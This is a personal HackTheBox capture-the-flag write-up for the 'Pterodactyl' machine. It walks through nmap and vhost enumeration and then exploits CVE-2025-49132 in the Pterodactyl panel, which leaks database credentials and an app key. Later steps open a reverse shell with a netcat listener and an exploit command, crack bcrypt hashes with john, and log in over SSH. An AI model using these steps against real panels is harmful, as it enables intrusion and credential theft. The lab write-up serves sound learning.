HackTheBox -- Pterodactyl (MEDIUM) Experience
I’ll walk through my experience tackling the HackTheBox "Pterodactyl" CTF (Medium). I'll showcase my thought process, tools, and methods as I work through each stage — whether I succeed or hit roadblocks. The goal isn't just solving it, but highlighting how I approach challenges and sharpen my skills along the way. As of now this machine remains unsolved.
# Introduction
This write‑up contains spoilers for the entire user flag.
This is my second time attempting a medium-difficulty machine on Hack The Box. Before starting, I searched for write-ups and passed one of them to Claude, instructing it not to reveal any solutions and only give hints when requested. From there, I worked through the machine step by step, using the hints and my own analysis to reach the user flag.

# Reconnaissance
I started this box with a simple nmap scan.
bashnmap -sC -sV -vv -oA nmap/nmap 10.129.9.165
The nmap scan reveals the following information
code# Nmap 7.94SVN scan initiated Wed Mar 4 01:25:17 2026 as: nmap -sC -sV -vv -oA nmap/nmap 10.129.9.94 Nmap scan report for 10.129.9.94 Host is up, received reset ttl 63 (0.13s latency). Scanned at 2026-03-04 01:25:18 +03 for 18s Not shown: 983 filtered tcp ports (no-response), 13 filtered tcp ports (admin-prohibited) PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 63 OpenSSH 9.6 (protocol 2.0) | ssh-hostkey: | 256 a3:74:1e:a3:ad:02:14:01:00:e6:ab:b4:18:84:16:e0 (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOouXDOkVrDkob+tyXJOHu3twWDqor3xlKgyYmLIrPasaNjhBW/xkGT2otP1zmnkTUyGfzEWZGkZB2Jkaivmjgc= | 256 65:c8:33:17:7a:d6:52:3d:63:c3:e4:a9:60:64:2d:cc (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJTXNuX5oJaGQJfvbga+jM+14w5ndyb0DN0jWJHQCDd9 80/tcp open http syn-ack ttl 63 nginx 1.21.5 | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-title: Did not follow redirect to http://pterodactyl.htb/ |_http-server-header: nginx/1.21.5 443/tcp closed https reset ttl 63 8080/tcp closed http-proxy reset ttl 63 Read data files from: /usr/bin/../share/nmap Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . # Nmap done at Wed Mar 4 01:25:36 2026 -- 1 IP address (1 host up) scanned in 19.34 seconds
ssh and http services are running. http services shows a website with the url pterodactyl.htb, so I changed the /etc/hosts.
# Accessing the webpage

## Changelog

## phpinfo()

php info show a few important things.
PHP Version: 8.4.8 Server Software: nginx/1.21.5 file_uploads: On — meaning the server accepts file uploads allow_url_include: Off — remote file inclusion not possible SCRIPT_FILENAME: /var/www/html/phpinfo.php — reveals the web root path Include_path: includes /usr/share/php/PEAR — PEAR is present on the system, which becomes relevant later
## VHOST enumeration
codeffuf -H "Host: FUZZ.pterodactyl.htb" -u http://pterodactyl.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-10000.txt -fs 145
code/'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0-dev ________________________________________________ :: Method : GET :: URL : http://pterodactyl.htb :: Wordlist : FUZZ: /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-20000.txt :: Header : Host: FUZZ.pterodactyl.htb :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: 200-299,301,302,307,401,403,405,500 :: Filter : Response size: 145 ________________________________________________ panel [Status: 200, Size: 1897, Words: 490, Lines: 36, Duration: 353ms]
# Foothold
- Unvalidated Path Traversal: The locale parameter in /locales/locale.json allows path traversal without proper validation.
- Direct File Inclusion: The application directly includes files based on user-controlled input.
- PEAR Command Injection: The pearcmd.php script accepts the +config-create command which can write arbitrary PHP files.
- Unauthenticated Access: The vulnerable endpoint doesn't require authentication.
## Panel pterodactyl CVE
Pterodactyl is a service and it has a CVE-2025-49132. CVE has --scan which reveals a .env file.
code╔══════════════════════════════════════╗ ║ CVE-2025-49132 - Pterodactyl RCE ║ ╚══════════════════════════════════════╝ [*] Scanning: http://panel.pterodactyl.htb/locales/locale.json ------------------------------------------------------- [+] VULNERABLE - Database credentials leaked Host: 127.0.0.1 Port: 3306 Database: panel Username: pterodactyl Password: PteraPanel Connection: pterodactyl:PteraPanel@127.0.0.1:3306/panel [+] VULNERABLE - App configuration leaked App Key: base64{{UaThTPQnUjrrK61o}}+Luk7P9o4hM+gl4UiMJqcbTSThY= [!] SECURITY WARNING: APP_KEY exposed! App Name: Pterodactyl URL: http://panel.pterodactyl.htb ------------------------------------------------------- [+] Target is VULNERABLE to CVE-2025-49132
## Reverse Shell
Using the same CVE, I could trigger a reverse shell.
codenc -lvnp 1337
code./exploit shell 10.129.9.165 1337
## Mariadb
codemariadb -h 127.0.0.1 -u pterodactyl -p


## Crack Password
codeecho "$2y$10$3WJht3/5GOQmOXdljPbAJet2C6tHP4QoORy1PSj59qJrU0gdX5gD2 $2y$10$PwO0TBZA8hLB6nuSsxRqoOuXuGi3I4AVVN2IgE7mZJLzky1vGC9Pi" >> creds.txt john --wordlist=/usr/share/wordlists/rockyou.txt creds.txt

# User flag
## ssh login
Finally I would use that password to ssh into the machine through phileasfogg3 and get the user flag.

# Remediation
- Update the panel
- Install WAF (Web Application Firewall)
- Deny locale.json from the webserver